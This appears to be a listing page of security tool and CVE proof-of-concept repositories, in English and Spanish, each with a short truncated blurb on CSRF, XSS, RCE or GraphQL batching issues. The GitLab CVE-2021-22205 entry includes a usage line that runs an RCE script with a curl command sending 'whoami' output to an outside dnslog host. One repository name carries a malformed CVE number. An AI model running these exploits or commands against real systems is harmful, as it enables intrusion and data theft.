batchql

BatchQL BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements. When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet,...

batchql

BatchQL BatchQL es un script de auditoría de seguridad de GraphQL centrado en realizar consultas y mutaciones GraphQL por lotes. Este script no es complejo y agradecemos las mejoras. Al explorar el espacio problemático de los ataques de batching en GraphQL, encontramos que hay algunas publicacion...

xssless

xssless An automated XSS payload generator written in python. Usage 1. Record requests with Burp proxy 2. Select requests you want to generate, then right click and select "Save items" 3. Use xssless to generate your payload: ./xssless.py burpexportfile 4. Pwn! A more detailed tutorial can be fou...

CVE-2019-1759-csrf-js-rce

CVE-2019-1759 Bolt-cms 3.6.10 Csrf - xss - rce...

Astra

Astra REST API penetration testing is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can...

CVE-2026-73847-emlog-PoC

CVE-2026-73847 — emlog AI Assistant CSRF → SQL Execution → Admin Takeover PoC for missing CSRF protection on emlog pro's AI Assistant executetool endpoint, which lets an attacker ride an admin's authenticated session to run arbitrary SQL against the site database — including a full admin account...

CVE-2020-23593

CVE-2020-23593 OPTILINK E-PON "MODEL NO: OP-XT71000N" con "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" Vulnerabilidad encontrada en "OPTILINK OP-XT71000N Hardware Version: V2.2 , Firmware Version: OPV3.3.1-191028" permite a un atacante remoto no autenticado realizar un ataque d...

CVE-2022-4944

「💥」CVE-2022-4944 Descripción Se ha encontrado una vulnerabilidad clasificada como problemática en kalcaddle KodExplorer hasta la versión 4.49. Afecta a una parte no especificada. La manipulación conduce a cross-site request forgery CSRF. Esta vulnerabilidad está identificada de forma única como...

CVE-2019-9596-and-CVE-2019-9597

CVE-2019-9596-and-CVE-2019-9597 Explotación de CSRF en Darktrace https://www.peerlyst.com/posts/exploiting-two-zero-days-in-a-darktrace-appliance-cve-2019-9596-and-cve-2019-9597-gerwout-van-der-veen https://seclists.org/bugtraq/2019/May/54...

CVE-2025-12189

Bread & Butter: Gate content + Capture leads + Collect first-party data + Nurture with Ai agents = 7.10.1321 - Cross-Site Request Forgery to Arbitrary File Upload The Bread & Butter IO plugin contains a vulnerability in its image upload functionality that allows any attacker to trick authenticate...

CVE-2021-43617

CVE-2021-43617 Esta es una reproducción de la vulnerabilidad PHP Laravel 8.70.1 - Cross Site Scripting XSS a Cross Site Request Forgery CSRF Descripción La vulnerabilidad explota el hecho de que podemos evadir la funcionalidad de carga de archivos de imagen de Laravel para subir archivos...

zappzarapp-php-security

⚡ zappzarapp/security Biblioteca integral de seguridad para PHP que proporciona CSP, cabeceras de seguridad, protección CSRF, cookies seguras, validación de contraseñas, saneamiento de entradas, limitación de velocidad, SRI, carga de secretos, cifrado, seguridad de sesiones, autenticación de dos...

CVE-2024-45264

CVE-2024-45264 Descripción sugerida Una vulnerabilidad de falsificación de petición en sitios cruzados CSRF en el panel de administración de SkySystem Arfa-CMS anterior a 5.1.3132 permite a atacantes remotos agregar un nuevo administrador, lo que lleva a una escalada de privilegios. Tipo de...

CVE-2024-57429

CVE-2024-57429 A cross-site request forgery CSRF vulnerability in the pjActionUpdate function of PHPJabbers Cinema Booking System v2.0 allows remote attackers to escalate privileges by tricking an authenticated admin into submitting an unauthorized request. Impact: Exploitation of this CSRF...

CVE-2020-23589

CVE-2020-23589 OPTILINK E-PON "MODEL NO: OP-XT71000N" with "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" Found vulnerability in the "OPTILINK OP-XT71000N Hardware Version: V2.2 , Firmware Version: OPV3.3.1-191028" which allows an unauthenticated, remote attacker to conduct a...

CVE-2024-27632

Detalles de la Vulnerabilidad CVE-2024-27632 Resumen En Savane v3.12 y anteriores, la marca de tiempo Unix se utiliza como semilla en el Generador de Números Pseudoaleatorios PRNG empleado para generar tokens de protección contra Falsificación de Solicitudes entre Sitios CSRF formid. Como...

CVE-2021-22205

CVE-2021-22205 Affected versions: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Get csrf-token: Obtain the csrf-token via /users/signin, then use the previous CVE-2021-22205 POC to construct and execute an...

SpaceX-Starlink-Router-Gen-2-XSS

SpaceX / Starlink Router Gen 2 XSS CVE-2023-49965 You can see the Korean version of the post here : https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor TL;DR A Cross-Site Scripting XSS vulnerability in the initial captive portal page of the second-generation router could allow an...

CVE-2019-25137-RCE

CVE-2019-25137-RCE CVE-2019-25137 is an Umbraco RCE vulnerability, the script within this repo is slightly altered This exploit script is based on script by Alexandre ZANNI EDB-ID 49488. It is slightly altered, changed the flow to skip token extraction before login, performed the login first...

CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7

CVE-2025-25748-Vulnerabilidad-de-Cross-Site-Request-Forgery-CSRF-en-HotelDruid-3.0.7 Descripción Una vulnerabilidad de Cross Site Request Forgery CSRF en el endpoint gestioneutenti.php de HotelDruid 3.0.7 permite a los atacantes realizar acciones no autorizadas por ejemplo, modificar contraseñas ...